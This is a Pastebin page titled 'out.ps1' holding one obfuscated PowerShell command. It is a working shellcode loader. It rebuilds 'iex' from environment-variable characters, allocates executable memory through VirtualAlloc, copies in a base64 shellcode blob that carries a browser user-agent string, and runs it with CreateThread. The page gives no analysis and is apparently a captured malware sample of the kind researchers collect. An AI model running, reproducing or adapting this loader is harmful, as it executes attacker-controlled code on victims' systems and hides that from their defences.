James_inthe_box

out.ps1

Nov 21st, 2017
334
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.32 KB | None | 0 0
  1. ( $eNV:Public[13]+$env:pUbLic[5]+'X') ( ((("{57}{74}{0}{68}{146}{13}{14}{95}{102}{116}{87}{110}{11}{29}{1}{80}{15}{62}{43}{17}{149}{33}{72}{105}{97}{103}{41}{69}{51}{90}{137}{112}{148}{83}{38}{133}{127}{129}{100}{134}{56}{120}{60}{96}{81}{128}{111}{85}{140}{91}{63}{5}{76}{70}{37}{44}{65}{125}{138}{49}{145}{2}{99}{52}{139}{48}{45}{28}{6}{117}{61}{124}{39}{19}{10}{7}{42}{143}{73}{135}{150}{35}{31}{79}{109}{27}{114}{58}{54}{136}{21}{94}{147}{104}{4}{119}{82}{24}{131}{123}{8}{118}{9}{47}{3}{126}{55}{59}{16}{130}{71}{75}{66}{115}{36}{121}{53}{93}{77}{84}{106}{32}{40}{98}{107}{141}{101}{34}{30}{50}{108}{20}{89}{92}{12}{88}{142}{25}{18}{78}{64}{22}{122}{144}{86}{113}{132}{46}{26}{67}{23}"-f '}{24}{86}{61}{2}','81}{54}{9}x4K -f 8wJ[IntPtr]::Zero,0,[IntPtr]::Zero)
  2. [System.Runtime8w','ngConventions]::St8wJ,8wJls(8g','8wJ,8wJedure)
  3. lrYvar_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() 6js Where-Obj8wJ,8wJ_buffer,8wJ,8wJMgTlQgN','Refle8wJ,8wJuntime, Managed8gh)
  4. ','8wJe.lengt8wJ,8wJ','LdX4Av/1b88wJ,8wJc_get_delegate_typ8','KrF4l3/1YnBaEUhXjH/1TH/V2oHUVZQa8wJ,8wJrlw)
  5.  
  6. lrYvar_','code8wJ','zHJUVFqA1FR','/4X2dASJ+esJa','{32}{30}{16}{3}{','ki1Iwi1IMi1IUi3IoD7dKJjH/McCs8wJ,8wJrd, lrY','}{64}{37}{','69}{97}{78}{4',' [System.Runt','wJ:GetDelegateForFuncti','rFunctionPo',')).Invoke([IntPtr]8wJ,8wJ 8wJ,8wJntime, Managed8wJ,8wJrYva8wJ,8wJpe_builder.DefineConstructor(8ghRTSpecialName, HideBySig, Public8gh, [8wJ,8wJYvar_procedure))
  7. }
  8.  
  9. function func_get_delegate_typ8wJ,8wJe @([IntPtr], [UInt32], [UInt32], [U','4GoEUGofVmh1Rp6G/9Ux/1dXV1dWaC0GGHv/1YXAdEgx','(8ghRefle8wJ,8wJr]))).Invoke([IntPtr]::Z','wJ,8wJF0aWJsZTsgTVNJRSA5LjA7IFdpbmRvd38wJ,8wJeBySig, N8wJ,8wJ.Interop','r]89),[sTrI','EnV:PuBLIC[13]+IEbenV:pUbLIc[5]+8wJX8wJ)','kBoABAAAGgAAEAAV2hYpFPl/9W8wJ,8wJanda8wJ,8wJn func_get_proc_address {
  10. ','Glob8wJ,8wJntPtr])','NG][char]124).rePlAce(8wJ8gh','CLQHiFwHRKAdBQi0gYi1ggAdPjPEmLNIsB1jH/McCswc8NAcc44HX0A334O308wJ,8wJa) IEX lrYa } -RunAs32 -Argument lrYDoIt 6js wait-job 6js Recei','odule(8ghInMemoryModule8gh, lrYfalse).DefineType(8ghMyDelegateTyp8wJ,8wJ','44}{98}{20}{35}{94}{75}{0}{60}{80}{','ags(8ghR8wJ','n32.UnsafeNativ8w','wJ,8wJ[-1].','nel32.dll Crea8wJ,8wJion.Emit8wJ,8wJ/1emTAAAAW8wJ,8wJr_return_type = ','ces.HandleRef((New-Object IntPtr), 8wJ,8wJTU1OJ51d8wJ,8wJonFl','2FZWlH8wJ,8wJe.Inte8wJ,8wJcrosoft.Wi','rt-job { param(lrY8wJ,8wJRun).D8wJ,8wJime.InteropSer','Po','dABod2luaVRoTHcmB//V6IAA','SUVJQaOtVLjv/1YnGaIAzAACJ','Equa8wJ,8wJve_me','nsa','buffer = [System.Runtime.InteropServices.Marshal]:','rshal]::GetDelegateFo','8w','88gh)8wJ,8wJystem.Runtim8wJ,8wJefineDynamicM','ar]115),[sTrI','aLsBA8wJ,8wJALwAAOcd1BInY64ox/+sV60n','ocation.Split(8gh0j80j','=8wJ,8wJ[IntPt',',8wJy((New-Object System.Reflection.As','wJ,8w','8wJa','8wJoACAAAFNWaBKWieL/1YXAdM2LBwHDh','_get_proc_address kerne8wJ,8wJpbGxhLzUuMCAoY29tcG8wJ,8wJeMethods8gh)
  11.  
  12. r','hYWFhYWF8wJ,8wJl32.dll Virt8wJ,8wJters).8wJ,8wJte])
  13. lrYvar_ty8',')).Invoke(lrY',' ((x4K{63}{7','lse {
  14. IEX 8wJ,8wJegateForFunctionPointer((func','wJ,8','(lrYvar_module','ad), (func_get_delegate_type @([IntPtr], [UInt32], [8wJ,8wJSetImplementati8wJ,8wJicAssembl8wJ,8wJABTUGhXiZ/G/9WJ','ime.InteropServices.Ma','J,','e(([char]108+[char]114+[cha','J,8w','Invoke(lrYvar_hthread,0xffffffff) 6js Out-Null
  15. 8gh@
  16.  
  17. If ([IntPtr]::size -eq 8) ','8wJ,[sTrING][char]39) 6U9& ( IEb','{4}{28}{21}{6','fe_nati8','wJ,8wJ[Parameter(','ForS8wJ,8wJingleObject), (func_get_delegate_type @([IntPtr], [Int32]','[Void]
  18. )','8wJrYvar_type_builder.De','0}{74}{99}{39}{87}{38}{52}{57}{8}{88}{83}{62}{40}{51}{90}{18}{105}{14}{23}{95}{101}{33}{10}{103}{6}{46}{93','))).','e8gh8wJ,8wJ, 0, lrYvar_buffer, lrYvar_cod8','15VjD6B3///8xOTg','Int32]) ([I8wJ)).rePlAc','J,','J,8wJewSlot, Virt8wJ,8wJ, [System.Reflect8wJ,8wJ=','un8wJ,8wJtr], [IntPtr], [UInt32], 8wJ,8wJAcces8wJ,8wJ','y9EZGJSAABo8LWiVv/Va','osS64ZdaG5l','uNTAuM8wJ,8wJtedDelegate8gh','Josition = 0, Mandatory = lrYTrue)] [Type[]] lrYva8wJ,8wJc8wJ,','(8wJ0j88wJ,8wJDMF8','}{','var_parame8wJ,8wJIntP8wJ,8wJect ','ero,0,lrYvar8wJ,','JlrYDoIt
  19. }8wJ,8wJsition = 1)] [Type] l8wJ,8wJ lrYva','8wJ,8wJeturn8w','8wJr_parameters,
  20. 8wJ,8wJcode = [System.Convert]::FromBase64String(rlw/OiJAAAAYInlMdJ','cB','Services.M','5}{92}{65}{49}{59}{1}{7}{',')))), lr8wJ,8wJlAlloc), (f','omain.DefineDynam8wJ,8wJual8gh, lrYvar_return_type, lrYvar_parameters).Set','thods.GetMethod(8ghGetProcAddres','hSystem.dll8gh) }).GetType(8ghMi8wJ,','_native','.MulticastDelega8wJ,8wJropServi','36}{102}{1','Implementati8wJ,8wJn lrYvar_u','unctio8wJ,8wJSystem.','
  21.  
  22. lrYvar_type_builder = [AppDomain]::CurrentD','8','s8gh).Invoke(lrYnull, @([System.Runt8w','semblyName','8wJPGF8Aiwgwc8NAcfi8FJXi1IQi0I8Ad','48}{55}{77}{13}{19}{43}{106}{100}{27}{71}','8wJ,8w','Par','wJ).rePlAce(([char]54+[','ve-Job
  23. }
  24. e','{
  25. sta','7}{67}{29}{11}{84}{96}{53}{25}{50}{15}{56}{58}{76}{26}{5}{72}{47}{42}{73}{68}{91}{85}{34','wJ,8wJteThre',',8wJ','l8wJ,8wJs]::8wJ,8wJr8wJ,8wJogf///','null, @','vices.HandleRef](New-Object 8wJ,8wJr_8wJ,','NG][char]36).rePlAce(([char]114+[char]108+[char]119),[sTrING][c',']::Copy(lrYvar_','w+t6WTHSUmgAMqCEUlJ','JTc5Ljk3','i4xOyBXaW42NDsgeDY0OyBUcmlkZW50LzUuMDsgTUFOTTsgTUFOTSkAWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWF','_hthread 8wJ,8wJ8',', 8ghClass, Public, Sealed,','gh)
  26.  
  27. 8wJ,8wJ(lrYvar_unsafe','onPointer((func_get_proc_address kernel32.dll Wait',' Param (lrYvar_module, lrYvar_proc8wJ,8wJeropServices.Marshal','char]106+[ch','AABNb3p8wJ,8wJh)
  28.  
  29. lrYvar','_methods.GetMethod(8ghGetModuleHandle8gh','fin','etur8','r_type_builder.CreateType()
  30. }
  31.  
  32. [Byte[]]lrYva8wJ,8wJ AnsiClass, AutoClass8g8wJ,8wJua8wJ,8wJe {
  33. ','AA=','lAssemblyCache -And lrY_.L','8wJkdeJYi1gkAdNm8wJ,8wJhYWFhYAFkx/1dXV1dRaDpWeaf8wJ,8wJ::Zero, lrYvar_code.Length,0x3000, 0x40)
  34. [System.Runtime.Int8wJ,8wJ.AssemblyBuilder','J,8wJh, [System','{ lrY_.',':GetDel8wJ,','har]34).rePlAce','r]) ([IntPt8wJ,8wJonFlags(8ghRu8wJ,8wJction.Calli','6}{82}{41}{31}{22}{12}{89}{79}{104','arshal]:8wJ,8wJ))8wJ,8wJS8wJ,8wJSet-StrictMode -Version 2
  35.  
  36. lrYDoIt = @8gh
  37. f','am (
  38. [Parameter(P8wJ,8wJ/4FhfW','inter((func_get_proc_address ker','eMethod(8ghInvoke8gh, 8ghPublic, Hid8wJ,8wJiwxLi1gcAdOLBIsB0IlEJCRbW')) -RepLACE ([CHAR]56+[CHAR]119+[CHAR]74),[CHAR]39 -RepLACE 'IEb',[CHAR]36 -RepLACE([CHAR]54+[CHAR]85+[CHAR]57),[CHAR]124-cREPLaCe ([CHAR]68+[CHAR]77+[CHAR]70),[CHAR]92-RepLACE 'x4K',[CHAR]34) )
Advertisement
Add Comment
Please, Sign In to add comment